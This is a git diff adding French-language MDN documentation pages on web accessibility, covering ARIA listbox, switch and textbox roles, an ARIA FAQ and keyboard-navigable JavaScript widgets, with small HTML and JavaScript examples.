  • Les lecteurs d’écran devraient annoncer le label et le rôle de la boîte liste lorsqu’elle obtient le focus. Si un élément de la liste obtient le focus, il devrait être annoncé après, suivi par une indication de la position de l’élément dans la liste si le lecteur d’écran prend en charge cette fonction. Lorsque le focus se déplace dans la liste, le lecteur d’écran devrait annoncer les éléments de la liste appropriés.
    • +
  • Les loupes d’écran devraient agrandir la boîte liste.
    • +
+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : une liste de sélection simple qui utilise l’attribut aria-activedescendant

+ +

L’extrait de code ci-dessous montre comment le rôle listbox est ajouté directement dans le code source HTML :

+ +
<div role="listbox" tabindex="0" id="listbox1" onclick="return listItemClick(event);"
+  onkeydown="return listItemKeyEvent(event);" onkeypress="return listItemKeyEvent(event);"
+  onfocus="this.className='focus';" onblur="this.className='blur';" aria-activedescendant="listbox1-1">
+  <div role="option" id="listbox1-1" class="selected">Vert</div>
+  <div role="option" id="listbox1-2">Orange</div>
+  <div role="option" id="listbox1-3">Rouge</div>
+  <div role="option" id="listbox1-4">Bleu</div>
+  <div role="option" id="listbox1-5">Violet</div>
+  <div role="option" id="listbox1-6">Pervenche</div>
+</div>
+
+ +

Voir l’exemple CodeTalks pour plus de détails.

+ +

Exemples concrets :

+ + + +

Notes

+ +
    +
  • Pour être accessible au clavier, les développeurs doivent gérer le focus de chaque descendant de ce rôle.
    • +
  • Il est recommandé aux développeurs d’utiliser différents styles pour la sélection lorsque la liste n’a pas le focus, par exemple, une sélection inactive est parfois affichée avec une couleur d’arrière-plan plus claire.
    • +
  • Si la boîte liste ne fait pas partie d’un autre composant, il faut définir sa propriété aria-labelledby.
    • +
  • Si une ou plusieurs entrées ne sont pas des descendants DOM de la boîte liste, il faudra définir des propriétés aria-* supplémentaires (voir Bonnes pratiques ARIA).
    • +
  • S’il existe une bonne raison pour étendre la boîte liste, le rôle combobox peut être plus approprié.
    • +
+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ +
    +
  • Bonnes pratiques ARIA – Listbox : #listbox_div
    • +
  • Le modèle de rôles ARIA – Listbox : #listbox
    • +
diff --git a/files/fr/web/accessibility/aria/roles/switch_role/index.html b/files/fr/web/accessibility/aria/roles/switch_role/index.html new file mode 100644 index 0000000000..2aec6523ed --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/switch_role/index.html @@ -0,0 +1,13 @@ +--- +title: Utilisation du groupe switch +slug: Accessibilité/ARIA/Techniques_ARIA/Utilisation_du_groupe_switch +tags: + - ARIA + - Accessibility + - NeedsContent + - Rôle +translation_of: Web/Accessibility/ARIA/Roles/Switch_role +--- +

Le rôle ARIA switch est très similaire au role checkbox, à la sémantique près — il a deux états représentant on/off, au lieu de checked/unchecked.

+ +

Extrait des spec ARIA 1.1 : l'attribut aria-checked d'un switch indique si l'entrée est on (true) ou off (false). La valeur mixed n'est pas supportée, et les agents utilisateurs DOIVENT la traiter comme équivalente à false pour ce rôle.

diff --git a/files/fr/web/accessibility/aria/roles/textbox_role/index.html b/files/fr/web/accessibility/aria/roles/textbox_role/index.html new file mode 100644 index 0000000000..0fe3c2efbd --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/textbox_role/index.html @@ -0,0 +1,82 @@ +--- +title: Utiliser le rôle textbox +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_textbox +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/Roles/textbox_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle textbox et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+ +

Le rôle textbox est utilisé pour identifier un élément permettant la saisie d’un texte librement formaté. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement textbox accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

+ +

L’utilisation par défaut est pour un champ de saisie monoligne où Entrée ou Retour, enverra le formulaire, par exemple, comme avec le HTML <input type="text">. Lorsqu’on a un champ multilignes et que les retours à la ligne sont pris en charge, par exemple avec l’utilisation d’un élément HTML <textarea>, il est également nécessaire de définir l’attribut aria-multiline="true".

+ +

Lorsqu’un champ texte est en lecture seule, cela devrait être indiqué en utilisant l’attribut aria-readonly="true" sur l’élément concerné.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle textbox est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+ +
    +
  • Présenter l’élément comme ayant un rôle textbox à l’API d’accessibilité du système d’exploitation ;
    • +
  • Déclencher un événement textbox accessible à l’aide de l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+ +

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

+ +
    +
  • Les lecteurs d’écran devraient annoncer son label et son rôle lorsque le focus est sur la boite de texte. Si elle contient également du contenu, il devrait être annoncé comme avec une boite de texte régulière ;
    • +
  • Les loupes d’écran devraient agrandir la boite de texte.
    • +
+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : ajout du rôle textbox dans le code HTML d’un champ de saisie monoligne <input>

+ +

L’extrait de code ci-dessous montre comment le rôle textbox est ajouté directement dans le code source HTML.

+ +
<input type="text" role="textbox" value="Voici du texte" />
+ +

Exemple 2 : ajout du rôle textbox dans le code HTML d’un champ de saisie multilignes <textarea>

+ +

L’extrait de code ci-dessous montre comment le rôle textbox est ajouté directement dans le code source HTML.

+ +
<textarea role="textbox" aria-multiline="true">
+  Voici du texte
+  …
+  sur plusieurs lignes.
+</textarea>
+
+ +

Exemples concrets :

+ +

Notes

+ +
    +
  • Les développeurs doivent connaitre la distinction qui existe entre les champs de saisie monolignes et les champs de saisie multilignes lorsqu’ils créent un champ ;
    • +
  • Les champs en lecture seule devraient être indiqués avec l’attribut aria-readonly.
    • +
+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ +

N/A

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

diff --git a/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.html b/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.html new file mode 100644 index 0000000000..01b32548d2 --- /dev/null +++ b/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.html @@ -0,0 +1,305 @@ +--- +title: FAQ Applications Web et ARIA +slug: Accessibilité/ARIA/FAQ_Applications_Web_et_ARIA +tags: + - ARIA + - Accessibilité + - Développement Web + - À relire +translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ +--- +

Qu’est-ce qu’ARIA ?

+ +

WAI-ARIA est la spécification Applications Internet Riches Accessibles de la Web Accessibility Initiative (Initiative pour l’accessibilité du Web) du W3C. ARIA fournit des moyens de rendre plus accessible les applications Web et les composants dynamiques à une plus grande part des utilisateurs, y compris ceux utilisant des technologies d’assistance telles que les lecteurs d’écrans ou les agrandisseurs.

+ +

ARIA fournit des éléments sémantiques additionnels afin de décrire les rôles, les états et la fonction de nombreux contrôles d’interfaces utilisateurs répandus, tels que les menus, les curseurs, les arbres et les dialogues. Il fournit également des informations structurelles supplémentaires, permettant aux auteurs d’identifier des points de repère, des zones et des grilles dans leurs pages Web. ARIA permet aux applications et aux composants JavaScript dynamiques d’interagir avec une grande variété de technologies d’assistance de bureau.

+ +

Pour plus d’informations sur la création de composants dynamiques accessibles avec ARIA, lire l’article Aperçu d’applications Web et de composants dynamiques accessibles.

+ +

Où ARIA est-il pris en charge ?

+ +

ARIA est une spécification relativement récente, mais son implémentation se développe. Une large variété de navigateurs communément utilisés, de technologies d’assistance, de kits de développements JavaScript et d’applications prennent maintenant en charge ARIA. Toutefois, de nombreux utilisateurs peuvent encore utiliser d’anciennes versions de ces technologies. Vous devrez sans doute considérer l’implémentation d’ARIA à l’aide des techniques d’améliorations progressives – telle qu’ajouter ARIA en utilisant JavaScript, mais pas directement dans votre balisage – afin de prendre en charge de manière plus élégante les vieux navigateurs et les anciennes technologies d’assistance.

+ + + +

ARIA est pris en charge dans les navigateurs suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurVersion minimaleNotes
Firefox3.0+Fonctionne avec NVDA, JAWS 10+ et Orca
ChromeDernièrePrise en charge encore expérimentale des lecteurs d’écran jusqu’à Chrome 15
Safari4+La prise en charge par Safari 5 est grandement améliorée.
+ La prise en charge des zones live requiert Safari 5 avec VoiceOver sur iOS5 ou OS X Lion
Opera9.5+Requiert VoiceOver sous OS X. À définir : comment cela fonctionne-t-il actuellement ?
Internet Explorer8+Fonctionne avec JAWS 10+ et NVDA. Pas de prise en charge des zones live dans NVDA.
+ La prise en charge dans IE9 est grandement améliorée.
+ +

Dans certains cas, les versions les plus jeunes peuvent prendre en charge certaines fonctionnalités d’ARIA. Des tableaux de compatibilité des navigateurs peuvent être consultés depuis différentes sources :

+ + + +

Technologies d’assistance

+ +

Les technologies d’assistance adoptent de plus en plus ARIA. Certaines d’entre elles sont :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Technologies d’assistanceVersion minimale pour un ARIA de baseVersion minimale pour la prise en charge des zones live et des alertes
NVDA2010.2
+ (NVDA propose toujours des mises à jour gratuites)		2011.1 pour Firefox, pas de prise en charge des zones live dans IE avant 2011.2.
Orca? (À définir)? (À définir)
VoiceOverOSX 10.5,
+ iOS 4		OS X 10.7
+ iOS 5
JAWS810
Window-Eyes7Pas de prise en charge des zones live
ZoomText?Pas de prise en charge des zones live
+ +

Note : Les versions antérieures de ces outils ont souvent des implémentation d’ARIA partielles et défaillantes.

+ +

For notes on JAWS support for ARIA as of JAWS 10, lire cet article du groupe Paciello : JAWS Support for ARIA.

+ +

Kits de développement JavaScript

+ +

Les rôles, les états et les propriétés ARIA ont été ajoutées à de nombreux kits de développements d’interfaces utilisateur JavaScript, y compris :

+ +
    +
  • Dojo/Dijit
    • +
  • jQuery UI
    • +
  • Fluid Infusion
    • +
  • Google Closure
    • +
  • Google Web Toolkit
    • +
  • BBC Glow
    • +
  • Yahoo! User Interface Library (YUI)
    • +
+ +

Pour plus d’informations sur l’accessibilité des kits de développement JavaScript :

+ + + +

Pouvez-vous me montrez un exemple d’ARIA en action ?

+ +

Voici le code HTML pour une barre de progression :

+ +
<div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" />
+
+ +

Cette barre de progression est construite à l’aide de l’élément <div>, qui n’est pas des plus descriptif. Malheureusement, en HTML4 il n’existe pas de balise plus sémantique pour les développeurs, aussi avons nous besoin d’inclure les rôles et les propriétés ARIA. Ils sont spécifiés en ajoutant des attributs à l’élément <div>. Dans cet exemple, l’attribut role="progressbar" informe le navigateur que cet élément est actuellement un composant de barre de progression codé en JavaScript. Les attributs aria-valuemin et aria-valuemax spécifient les valeurs limites de la barre de progression, et aria-valuenow décrit a valeur courante.

+ +

Plutôt que de les intégrer directement dans le balisage, les attributs ARIA sont généralement ajoutés à l’élément et dynamiquement actualisés à l’aide de code JavaScript tel que celui-ci :

+ +
// Trouver le <div> de la barre de progression dans le DOM.
+var progressBar = document.getElementById("percent-loaded");
+
+// Définition de ses rôles et états ARIA ,
+// pour que les technologies d’assistance sachent quel type de composant il s’agit.
+progressBar.setAttribute("role", "progressbar");
+progressBar.setAttribute("aria-valuemin", 0);
+progressBar.setAttribute("aria-valuemax", 100);
+
+// Création d’une fonction qui peut être appelée à n’importe quel moment
+// pour actualiser la valeur de la barre de progression.
+function updateProgress(percentComplete) {
+  progressBar.setAttribute("aria-valuenow", percentComplete);
+}
+ +

L’ajout d’ARIA changera-t-il le style ou le comportement de mes pages ?

+ +

Non, ARIA n’est rendu disponible que pour les APIs des technologies d’assistance, et n’affecte pas les fonctionnalités natives du navigateur en respectant le DOM ou les styles. Du point de vue des navigateurs, le HTML natif définit le sens et le comportement sémantique d’un élément, et les attributs ARIA agissent comme une surcouche permettant de prendre en charge les APIs des technologies d’assistance. Bien qu’ARIA ne modifiera aucun style par lui-même, comme pour tous les attributs HTML les CSS peuvent profiter des attributs ARIA comme sélecteurs d’élément. Ceci peut fournir un mécanisme pratique pour styles les composants intégrant ARIA.

+ +
.tab-panel[aria-hidden="true"] {
+  display: none;
+  }
+
+.tab-panel[aria-hidden="false"] {
+  display: block;
+  }
+
+ +

Qu'en est-il de la validation ?

+ +

Les nouveaux attributs introduits dans ARIA, tels que les role et ceux préfixés avec aria-, ne font pas officiellement partie des spécification HTML 4 ou XHTML 4. À ce titre, les pages comportant des éléments ARIA peuvent ne pas être valides lorsqu’on les soumet au validateur du W3C.

+ +

La première solution possible à ce problème est d’éviter de placer les rôles et les états ARIA directement dans le code HTML. À la place, il faut utiliser JavaScript pour ajouter dynamiquement ARIA à votre page, tel que montré dans la réponse à la question Pouvez-vous me montrez un exemple d’ARIA en action ? ci-dessus. Votre page sera toujours théoriquement invalide, mais elle passera correctement toutes les contrôles de validation statiques.

+ +

Une autre alternative est l’utilisation d’un doctype HTML5, qui prend nativement en charge . Le validateur HTML5 du W3C trouvera même pour vous les utilisations non valides d’ARIA dans les pages HTML5.

+ +

Comment HTML5 s’associe-t-il avec ARIA ?

+ +

HTML5 introduit de nombreuses nouvelles balises sémantiques. Certaines d’entre elles recoupent les rôles ARIA, tel que le nouvelle élément <progress>. Dans le cas où le navigateur prend en charge une balise HTML5 qui existe également dans ARIA, il n’est généralement pas nécessaire d’ajouter les rôles et les états ARIA à l’élément. ARIA comprend de nombreux rôles, états et propriétés qui ne sont pas disponibles en HTML5, aussi continueront-ils d’être utiles aux développeurs HTML5. Pour plus d’informations, Steve Faulkner a écrit un très bon aperçu des relations entre HTML5 et ARIA.

+ +

Dégradation élégante de HTML5 vers ARIA

+ +

Pour fournir du contenu aux navigateurs qui n’implémentent pas HTML5, vous pouvez considérer une dégradation élégante de l’utilisation d’ARIA là où c’est nécessaire. Ainsi, en utilisant l’exemple de la barre de progression, vous pouvez dégrader élégamment un role="progressbar" pour les cas où la balise <progressbar> n’est pas prise en charge.

+ +

Voici un exemple de code utilisé pour une barre de progression en HTML5 :

+ +
<!DOCTYPE html>
+<html>
+  <head><title>Dégrader élégamment la barre de progression</title></head>
+  <body>
+    <progress id="progress-bar" value="0" max="100">0% complété(s)</progress>
+    <button id="update-button">Actualiser</button>
+ </body>
+</html>
+
+ +

… et voici le code JavaScript qui assurera le fonctionnement de la barre de progression même dans les navigateurs les plus anciens :

+ +
var progressBar = document.getElementById("progress-bar");
+
+// Vérifions que le navigateur implémente la balise HTML5 <progress>.
+var supportsHTML5Progress = (typeof (HTMLProgressElement) !== "undefined");
+
+function setupProgress() {
+  if (!supportsHTML5Progress) {
+    // HTML5 <progress> n’est pas implémenté dans ce navigateur, aussi
+    // avons-nous besoin d’ajouter des rôles et des états ARIA à l’élément.
+    progressBar.setAttribute("role", "progressbar");
+    progressBar.setAttribute("aria-valuemin", 0);
+    progressBar.setAttribute("aria-valuemax", 100);
+  }
+}
+
+function updateProgress(percentComplete) {
+  if (!supportsHTML5Progress) {
+    // HTML5 <progress> n’est pas implémenté dans ce navigateur,
+    // aussi avons-nous besoin de mettre à jour l’attribut aria-valuenow
+    progressBar.setAttribute("aria-valuenow", percentComplete);
+  } else {
+    // HTML5 <progress> is supported, so update the value attribute instead.
+    progressBar.setAttribute("value", percentComplete);
+  }
+
+  progressBar.textContent = percentComplete + "% complété(s)";
+}
+
+function initDemo() {
+  setupProgress(); // Setup the progress bar.
+
+  // Lier un événement clic au bouton, ce qui actualisera la barre de progression à 75%.
+  document.getElementById("update-button").addEventListener("click", function (e) {
+    updateProgress(75);
+    e.preventDefault();
+  }, false);
+}
+initDemo();
+
+ +

Comment fonctionnent les technologies d’assistance ?

+ +

Les technologies d’assistance utilisent une API intégrée à chaque système d’exploitation spécifiquement conçue pour décrire les rôles, les états et la structure de l’interface utilisateur d’une application. Par exemple, un lecteur d’écran utilise cette API pour lire l’interface utilisateur avec un moteur de synthèse vocale (text-to-speech), une loupe l’utilise pour mettre en évidence les zones importantes ou actives de l’écran et un clavier virtuel peut s’en servir pour fournir la disposition de clavier la plus efficace dans un contexte donné ou au contrôle d’une interface utilisateur. Les technologies d’assistance accèdent souvent au DOM d’une page au travers de cette API afin de comprendre la sémantique et les attributs de la page.

+ +

ARIA fournit un pont entre le monde du DOM et le bureau. Les navigateurs exposent les éléments ARIA aux API des technologies d’assistance comme s’ils étaient des composants natifs. En conséquence, l’utilisateur a potentiellement une expérience plus cohérente là où les composants dynamiques JavaScript sont comparables sur le Web à leurs équivalents bureau.

+ +

Comment tester mon utilisation d’ARIA ? Existe-t-il des outils libres ou gratuits ?

+ +

Il existe plusieurs outils d’inspection et de débogage pour vous aider à tester le comportement d’ARIA :

+ + + +

Il existe plusieurs lecteurs d’écran gratuits voire libre qui peuvent être utilisés pour mener des tests sur ARIA. On trouve :

+ + + +

Lorsque vous effectuez des tests avec un lecteur d’écran, gardez deux points importants en tête :

+ +
    +
  1. Les tests occasionnels avec un lecteur d’écran ne pourront jamais remplacer les retours d’expérience, les tests ou l’aide de véritables utilisateurs au quotidien.
    2. +
  2. L’accessibilité est plus vaste que la simple prise en charge des lecteurs d’écran. Essayez de mener des tests avec divers cas d’utilisation et techniques d’accessibilité.
    3. +
+ +

Autres techniques et outils de tests pratiques pour les applications et les composants intégrant ARIA :

+ + + +

Où se tiennent les discussion concernant ARIA ?

+ + + +

Où peut-on en apprendre davantage à propos d’ARIA ?

+ + diff --git a/files/fr/web/accessibility/community/index.html b/files/fr/web/accessibility/community/index.html new file mode 100644 index 0000000000..505756ec1c --- /dev/null +++ b/files/fr/web/accessibility/community/index.html @@ -0,0 +1,17 @@ +--- +title: Communauté +slug: Accessibilité/Communauté +tags: + - Accessibilité +translation_of: Web/Accessibility/Community +--- +

Ce document fournit des liens vers des listes de diffusions, des forums, et d'autres communautés portées sur l'accessibilité.

+ +

Si vous connaissez d'autres, ressources utiles  n'hésitez pas à ajouter un lien ci-dessous.

+ + diff --git a/files/fr/web/accessibility/index.html b/files/fr/web/accessibility/index.html new file mode 100644 index 0000000000..eb607344a4 --- /dev/null +++ b/files/fr/web/accessibility/index.html @@ -0,0 +1,78 @@ +--- +title: Accessibilité +slug: Accessibilité +tags: + - Accessibilité + - Avancé + - Développement Web + - Guide +translation_of: Web/Accessibility +--- +

L’accessibilité dans le développement web signifie permettre l'utilisation des sites web par le plus grand nombre de personnes, même lorsque les capacités de ces personnes sont limitées d’une manière ou d'une autre. Voici quelques informations qui vous permettront de développer du contenu accessible.

+ +

« L'accessibilité du web signifie que les personnes handicapées peuvent l'utiliser. Plus spécifiquement, elle signifie que ces gens peuvent percevoir, comprendre, naviguer, interagir avec le web, et y contribuer. L'accessibilité du web bénéficie également à d'autres, notamment les personnes âgées ayant des capacités diminuées dues au vieillissement. » ( L'accessibilité du Web définie dans Wikipédia)

+ +

« L'accessibilité numérique est la mise à la disposition de tous les individus – quels que soient leur matériel ou logiciel, leur infrastructure réseau, leur langue maternelle, leur culture, leur localisation géographique, ou leurs aptitudes physiques ou mentales – des ressources numériques. » W3C   Accessibility

+ +
+
+

Tutoriels clefs

+ +

La documentation MDN Accessibilité contient des tutoriaux modernes et à jour en ce qui concerne les points essentiels de l'accessibilité:

+ +
+
Qu'est-ce que l'accessibilité?
+
Cet article présente un module général sur ce que l'accessibilité est actuellement — Cela inclut ce que des groupes de personnes ont besoin de considérer et pourquoi, quels outils ils utilisent afin d'interagir avec les pages web et comment rendre accessible la partie de notre espace de travail web.
+
HTML: Une bonne base pour l'accessibilité
+
Un nombre important de ressources du web peuvent être accessibles juste en utilisant correctement les éléments HTML dans leur usage approprié. Cet article résume en détail comment le HTML peut être utilisé afin de garantir une accessibilité maximum.
+
Meilleure pratiques d'accessibilité CSS et JavaScript
+
CSS et JavaScript, quand ils sont utilisés convenablement, ont le potentiel de permettre des expériences Web accessibles… ou bien ils peuvent significativement nuire à celle-ci si mal utilisés. Cet article décrit certaines pratiques exemplaires en langages CSS et JavaScript qui devraient être prises en compte pour garantir que le contenu, même complexe, soit aussi accessible que possible.
+
Les bases de WAI-ARIA
+
Dans la continuité de l'article précédent, créer des interactions d'interface utilisateur (UX) complexes impliquant un HTML non sémantique et un contenu dynamique mis à jour par JavaScript peut être parfois compliqué. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant d'autres sémantiques que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs d’être informés correctement. Ici, nous allons montrer comment l'utiliser à un niveau de base pour améliorer l'accessibilité.
+
Multimédia accessible
+
Une autre catégorie de contenu pouvant créer des problèmes d'accessibilité est le multimédia : le contenu vidéo, audio et les images auxquels on doit fournir des textes équivalents pertinents afin qu'ils soient exploitables par les technologies d'assistance et compris par leurs utilisateurs. Cet article explique comment faire.
+
Accessibilité sur mobile
+
Étant donné que l'accès au Web sur les appareils mobiles est très populaire, et que les plates‑formes populaires telles que iOS et Android disposent d'outils d'accessibilité à part entière, il est important de considérer l'accessibilité de votre contenu Web sur ces plates‑formes. Cet article examine les considérations d'accessibilité spécifiques aux mobiles.
+
+
+ +
+
+

Documentation

+ +
+
Développement web
+
Un ensemble d'articles soulignant les problèmes d'accessibilité dans le développement web.
+
ARIA
+
Un ensemble d'articles pour apprendre à utiliser ARIA pour améliorer l'accessibilité de vos documents HTML.
+
Développement de Technologie d'assistance (TA)
+
Un ensemble d'articles destiné aux développeurs de technologies d'assistance.
+
Check-list pour l'accessibilité mobile
+
Ce document fournit une liste concise des requis accessibilité pour les développeurs d’applications mobiles.
+
+ +

Tous les articles relatifs à l'accessibilité…

+
+ +
+

Outils pour les développeurs web

+ + + +

Tous les outils…

+ +

Autres ressources

+ +
    +
  • Liste des lecteurs d'écran
    • +
  • OpenWeb — Très bon site offrant à la fois un regard expert sur le web et des exemples concrets d'utilisation des normes du W3C.
    • +
  • Opquast.com — Bonnes pratiques qualité pour les services en ligne.
    • +
  • AccessiWeb — Référentiel AccessiWeb pour l'accessibilité.
    • +
  • AcceDe Web — Documents adaptés aux principaux intervenants d’un projet web.
    • +
+
+
+
diff --git a/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.html new file mode 100644 index 0000000000..2bd83f5568 --- /dev/null +++ b/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -0,0 +1,90 @@ +--- +title: Contrôles DHTML personnalisés navigables au clavier +slug: Contrôles_DHTML_personnalisés_navigables_au_clavier +tags: + - AJAX + - Accessibilité + - DHTML +translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets +--- +

 

+

Le problème : les pages DHTML actuelles ne sont pas accessibles au clavier

+

Un nombre croissant d'applications Web utilise JavaScript pour imiter des contrôles ( + + widgets + ) applicatifs comme des menus, des vues arborescentes, des champs de texte enrichis et des panneaux à onglets. Les développeurs Web innovent constamment et les applications futures contiendront des éléments complexes et interactifs comme des feuilles de calcul, des calendriers, des graphes organisationnels et plus encore. Jusqu'à présent, les développeurs désirant rendre leurs contrôles basés sur des <div> et autres <span> stylés ne disposaient pas des techniques nécessaires. Pourtant, l'accessibilité au clavier fait partie des nécessités dont tout développeur Web devrait tenir compte.

+

Prenons un exemple concret : la plupart des menus DHTML ne se comportent pas comme des menus normaux en ce qui concerne l'accès au clavier. Même s'il y a moyen d'accéder au menu avec le clavier, une erreur courante est de placer chaque élément du menu dans l'ordre de tabulation (souvent réalisé implicitement en faisant de chaque choix du menu un élément <a>). En réalité, le comportement correct d'un menu est que le menu entier doit figurer une seule fois dans l'ordre de tabulation, et les flèches doivent être utilisées pour se déplacer de choix en choix au sein du menu. Ceci vaut également pour les autres contrôles de « navigation groupée » comme les vues arborescentes, tableaux et panneaux à onglets.

+

Il est à présent possible pour les auteurs HTML de faire les choses correctement. La manière de rendre ces contrôles compatibles avec les technologies d'assistance est détaillée dans : ARIA : Applications riches Internet accessibles.

+

La solution : modifier le comportement standard de tabindex

+

Firefox 1.5 suit l'exemple de Microsoft Internet Explorer en étendant l'attribut tabindex pour permettre à n'importe quel élément d'obtenir ou non le focus. En suivant le système d'IE pour tabindex, il devient possible de permettre aux contrôles DHTML, déjà accessibles au clavier dans IE, de l'être également dans Firefox 1.5. Les règles doivent subir quelques petites entorses afin de permettre aux auteurs de rendre leurs contrôles personnalisés accessibles.

+

Le tableau qui suit décrit le nouveau comportement de tabindex :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attribut tabindexFocus disponible à la souris ou par JavaScript via element.focus()Navigable avec tabulation
non présentSuit le comportement par défaut de l'élément (oui pour les contrôles de formulaires, les liens, etc).Suit le comportement par défaut de l'élément.
Négatif
+ (par exemple tabindex="-1")		OuiNon, l'auteur doit donner le focus avec element.focus() suite à l'utilisation des flèches ou d'autres touches.
Zéro
+ (par exemple tabindex="0")		OuiDans l'ordre de tabulation relativement à la position de l'élément dans le document.
Positif
+ (par exemple tabindex="33")		OuiLa valeur tabindex change manuellement lorsque cet élément est positionné dans l'ordre de tabulation. Ces éléments seront positionnés dans l'ordre de tabulation avant les éléments ayant tabindex="0" ou qui sont naturellement + + tabulables + .
+

Utilisation du nouveau système

+

Pour rendre un contrôle simple navigable avec tabulation, la solution est d'utiliser tabindex="0" sur l'élément <div>> ou <span> le représentant. Vous pouvez consulter un exemple d'une case à cocher basée sur un <span> accessible au clavier tant dans Firefox 1.5 que dans IE (bien que la règle :before pour l'image de la case à cocher ne fonctionne pas dans IE).

+

Pour les contrôles de groupe (comme les menus, les panneaux à onglets, grilles ou vues arborescentes) l'élément parent doit avoir tabindex="0", et chaque choix descendant (onglet/cellule/ligne) doit avoir tabindex="-1". Un évènement keydown surveillant les flèches directionnelles peut ensuite utiliser element.focus() pour donner le focus au contrôle descendant approprié et lui donner un style lui donnant un aspect particulier montrant qu'il a le focus. Vous pouvez consulter un exemple d'une vue arborescente DHTML accessible au clavier et aux lecteurs d'écran dans Firefox ( + + nightlies + ). Le travail pour le faire fonctionner dans IE est encore en cours.

+

N'oubliez pas que ceci ne fait pas encore partie d'un standard W3C ou autre organisme officiel. Pour l'instant, il est nécessaire de faire quelques entorses aux règles afin d'obtenir une pleine accessibilité au clavier.

+

Astuces d'écriture

+

Utilisation d'onfocus pour suivre le focus

+

Les attributs de gestion d'évènements onfocus et onblur peuvent à présent être utilisés sur tous les éléments. Il n'y a pas d'interface DOM standard pour obtenir l'élément ayant actuellement le focus dans le document, par conséquent il est nécessaire d'utiliser une variable JavaScript pour le suivre.

+

Ne supposez pas que tous les changements de focus viendront des évènements clavier ou souris, car les technologies d'assistance, comme les lecteurs d'écran, peuvent donner le focus à n'importe quel élément pouvant en disposer et cela doit être traité élégamment par le contrôle JavaScript.

+

Changement dynamique de la possibilité d'obtenir le focus à l'aide de la propriété tabIndex

+

Ceci peut être utile à réaliser si un contrôle personnalisé devient actif ou inactif. Les contrôles inactifs ne doivent pas être dans l'ordre de tabulation. Cependant, il est typiquement possible de les atteindre avec les flèches s'ils font partie d'un contrôle de navigation groupé.

+

Utilisation de setTimeout avec element.focus() pour donner le focus

+

N'utilisez pas createEvent(), initEvent() et dispatchEvent() pour donner le focus à un élément, parce que les évènements DOM focus sont seulement considérés comme informels — générés par le système après que quelque chose ait reçu le focus, mais pas réellement pour donner le focus. Le retardateur est nécessaire, tant dans IE que dans Firefox 1.5, pour empêcher les scripts de faire des choses étranges et inattendues si l'utilisateur clique sur des boutons ou d'autres contrôles. Concrètement, le code pour donner le focus à un élément ressemblera à quelque chose comme ceci :

+
setTimeout("gFocusItem.focus();",0);  // gFocusItem doit être une variable globale
+
+

Ne pas utiliser :focus ou des sélecteurs d'attribut pour styler le focus

+

Il ne sera pas possible d'utiliser :focus ou des sélecteurs d'attribut pour styler l'élément ayant le focus, si vous voulez que cela apparaisse également dans IE. Changez plutôt le style dans un gestionnaire d'évènement onfocus. Par exemple, pour le traitement du focus d'un élément de menu, ajoutez this.style.backgroundColor = "gray";.

+

Toujours dessiner le focus pour les éléments avec tabindex="-1" et qui reçoivent le focus par programmation

+

IE ne dessinera pas automatiquement l'encadrement du focus pour les éléments qui reçoivent le focus de manière programmée. Choisissez entre changer la couleur de fond via quelque chose comme this.style.backgroundColor = "gray"; ou ajoutez une bordure pointillée via this.style.border = "1px dotted invert". Dans le cas d'une bordure pointillée, il sera nécessaire de s'assurer que ces éléments aient une bordure invisible de <tt>1px</tt> au départ, afin que l'élément ne change pas de taille lorsque le style de bordure est appliqué (les bordures prennent de la place et IE n'implémente pas les encadrements CSS).

+

Utilisation de onkeydown pour les évènements clavier, plutôt que onkeypress

+

IE ne déclenchera pas les évènements keypress pour les touches non alphanumériques.

+

Empêcher les évènements clavier d'effectuer des fonctions du navigateur

+

Si une touche comme une flèche directionnelle est utilisée, empêchez le navigateur d'utiliser cette touche pour faire quelque chose d'autre (comme faire défiler la page) en utilisant un code similaire à ce qui suit :

+
<span tabindex="-1" onkeydown="return handleKeyDown();">
+
+

Si handleKeyDown() renvoie false, l'évènement sera consommé, empêchant le navigateur d'effectuer quelque action que ce soit, basée sur la touche pressée.

+

Utilisation d'évènements clavier pour permettre l'activation de l'élément

+

